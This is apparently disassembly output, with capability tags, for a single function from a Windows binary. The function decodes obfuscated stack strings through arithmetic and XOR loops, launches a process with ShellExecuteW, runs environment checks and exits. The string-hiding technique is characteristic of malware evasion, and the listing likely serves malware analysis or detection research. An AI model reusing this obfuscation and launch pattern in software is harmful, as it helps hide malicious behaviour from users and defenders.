Function at 0x40d0f0
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
call fcn.00440e00
test al, al
je 0x40d5f4
mov dword [esp], 0xc9c6522e
mov byte [esp + 4], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx]
mov esi, eax
and esi, 6
mov edi, ecx
xor edi, 0x12674933
add edi, esi
lea esi, [edx + edx]
not esi
add esi, edx
mov ebx, edi
not ebx
or ebx, 0x691641bc
add ebx, edi
inc ebx
and edi, 3
xor edi, 0x8488b643
or ebx, edi
and esi, 0x96e9be43
and edx, 0xffffffbc
or edx, esi
mov esi, edx
and esi, ebx
add edx, ebx
add esi, esi
sub edx, esi
inc dl
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 5
jne 0x40d120
mov eax, dword [esp]
mov ecx, eax
shr ecx, 2
mov edx, ecx
and edx, eax
mov esi, edx
and esi, 0xfffffffd
mov edi, edx
and edi, 2
mov ebx, edx
or ebx, 0xfffffffd
inc ebx
imul ebx, esi
or edx, 2
imul edx, edi
sub ebx, edx
add ecx, eax
add ecx, ebx
add ecx, 0xbf0f2a16
mov dword [esp], 0x4342766d
mov dword [esp + 4], 0
xor eax, eax
mov edx, 0xc369110f
nop
nop
nop
nop
movzx esi, byte [esp + eax]
mov edi, edx
or edi, esi
mov ebp, eax
xor ebp, 0xf
and ebp, esi
lea ebx, [edi + edi]
not ebx
add ebx, edi
or ebx, ebp
add bl, 0x50
mov byte [esp + eax], bl
inc eax
dec edx
cmp eax, 8
jne 0x40d1c0
lea edx, [ecx + 0x40f0d5ea]
mov edi, dword [esp]
lea ebp, [edi + edi]
not ebp
add ebp, edi
mov esi, ebp
or esi, edx
not esi
mov ebx, 0x3f0f2a15
sub ebx, ecx
and ebx, 0x55053d26
mov ecx, edx
and ecx, 0xaafac2d9
or ecx, ebx
xor ecx, edi
and edi, edx
xor ecx, 0x55053d26
or ecx, edi
imul ecx, edi
mov dword [esp], 0x17161923
mov dword [esp + 4], 0
and ebp, edx
imul ebp, esi
mov edx, 0x78175cc6
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x78175cc6]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0x22
mov byte [esp + edx - 0x78175cc6], al
inc edx
cmp edx, 0x78175cce
jne 0x40d240
add ebp, ecx
movzx ecx, byte [esp]
mov dword [esp + 0x1c], ebp
mov edx, ebp
shr edx, cl
mov dword [esp], 0x2c9f5c84
mov word [esp + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx]
lea esi, [ecx + 0x75]
and esi, ebx
mov eax, esi
and eax, 2
mov edi, esi
or edi, 0xfd
inc edi
mov ebp, esi
and ebp, 0x7d
imul ebp, edi
or esi, 2
imul esi, eax
sub ebp, esi
add ebx, ecx
add ebx, ebp
add bl, 0x2c
mov byte [esp + ecx], bl
mov eax, ecx
and eax, 1
xor ecx, 1
lea ecx, [ecx + eax*2]
cmp ecx, 6
jb 0x40d290
xor edx, dword [esp + 0x1c]
mov eax, dword [esp]
mov esi, edx
not esi
and esi, eax
lea ecx, [eax + eax]
not ecx
add ecx, eax
and ecx, edx
imul ecx, esi
mov esi, eax
and esi, edx
or edx, eax
imul edx, esi
mov eax, ecx
and eax, edx
xor edx, ecx
mov dword [esp], 0x9b94e605
mov ecx, 0x17
mov esi, 0x28
nop
nop
nop
nop
nop
nop
mov edi, esi
and edi, 0x27
mov ebx, ecx
and ebx, 0x18
or ebx, edi
xor bl, byte [esp + ecx - 0x17]
xor bl, 0x27
add bl, 0x8d
mov byte [esp + ecx - 0x17], bl
inc ecx
dec esi
cmp ecx, 0x1b
jne 0x40d310
lea eax, [edx + eax*2]
cmp eax, dword [esp]
jne 0x40d40f
mov dword [esp], 0x97039907
mov dword [esp + 4], 0x93c09508
mov dword [esp + 8], 0x8f06910d
mov dword [esp + 0xc], 0x8bea8d11
mov dword [esp + 0x10], 0x871989db
mov dword [esp + 0x14], 0x8584
mov word [esp + 0x18], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, 4
mov edx, eax
and edx, 2
mov esi, edx
xor esi, 2
imul esi, ecx
or ecx, 2
imul ecx, edx
mov edx, eax
xor edx, 0x26
add edx, esi
add edx, ecx
xor dl, byte [esp + eax]
add dl, 0x42
mov byte [esp + eax], dl
inc eax
cmp eax, 0x1a
jne 0x40d380
mov dword [esp + 0x20], 0xe91aeb15
mov dword [esp + 0x24], 0xed1cef03
mov dword [esp + 0x28], 0xf3ec
mov dword [esp + 0x2c], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa7
xor cl, byte [esp + eax + 0x20]
add cl, 0xbd
mov byte [esp + eax + 0x20], cl
inc eax
cmp eax, 0x10
jne 0x40d3e0
mov eax, esp
lea ecx, [esp + 0x20]
push 5
push 0
push eax
push 0x4493da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00439180
test al, al
je 0x40d5ef
call dword [sym.imp.USER32.dll_GetInputState]
mov esi, eax
mov dword [esp], 0x723d4045
mov dword [esp + 4], 0x9e58125e
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov eax, 0x3099e9d9
mov ecx, 0x9ecc2c66
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x3099e9d9]
lea edi, [ecx + 0x6133d3c0]
and edi, ecx
mov ebx, eax
or ebx, edx
not edx
or edx, edi
and edx, ebx
mov edi, 1
sub edi, edx
not edi
or edi, edx
and edi, 1
or edx, 1
add edx, edi
add dl, 0xc2
mov byte [esp + eax - 0x3099e9d9], dl
inc eax
dec ecx
cmp eax, 0x3099e9e4
jne 0x40d450
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp], 0x920b75b5
mov dword [esp + 4], 0xe013ae87
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xaa
xor cl, byte [esp + eax]
add cl, 0xae
mov byte [esp + eax], cl
inc eax
cmp eax, 0xb
jne 0x40d4c0
mov dword [esp], 0x717e7f9f
mov word [esp + 4], 0
mov eax, 0xfd45b815
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x2ba47eb]
xor ecx, eax
mov edx, ecx
and edx, 1
xor ecx, 1
add ecx, 0x96
or ecx, edx
add ecx, edx
mov byte [esp + eax + 0x2ba47eb], cl
inc eax
cmp eax, 0xfd45b81b
jne 0x40d4f0
test esi, esi
je 0x40d56f
mov dword [esp], 0x19876dd3
mov dword [esp + 4], 0x4348bc7a
mov dword [esp + 8], 0
mov eax, 0x829d56ff
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x7d62a901]
lea esi, [eax + 0x7d62a941]
and esi, ecx
add ecx, eax
add esi, esi
mov edx, ecx
sub edx, esi
and ecx, 1
or edx, 1
add edx, ecx
mov byte [esp + eax + 0x7d62a901], dl
inc eax
cmp eax, 0x829d570b
jne 0x40d540
mov dword [esp], 0x3e3f3839
mov dword [esp + 4], 0x22233c3d
mov dword [esp + 8], 0
mov eax, 0x199b72ca
mov ecx, 0x66648d35
movzx edx, byte [esp + eax - 0x199b72ca]
mov esi, ecx
and esi, 6
mov edi, eax
and edi, 0x19
or edi, esi
xor edi, 1
mov esi, eax
and esi, 0x18
xor esi, 0x1f
and esi, edi
mov edi, ecx
or edi, 0xf8
lea ebx, [eax + edi]
add ebx, 0x80000001
or ebx, esi
xor ebx, edx
xor ebx, 7
add bl, 0xe
mov byte [esp + eax - 0x199b72ca], bl
inc eax
dec ecx
cmp eax, 0x199b72d6
jne 0x40d590
call fcn.0040e5a0
test al, al
je 0x40d5ef
call fcn.00410f90
call fcn.0040fc10
call fcn.00441a00
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]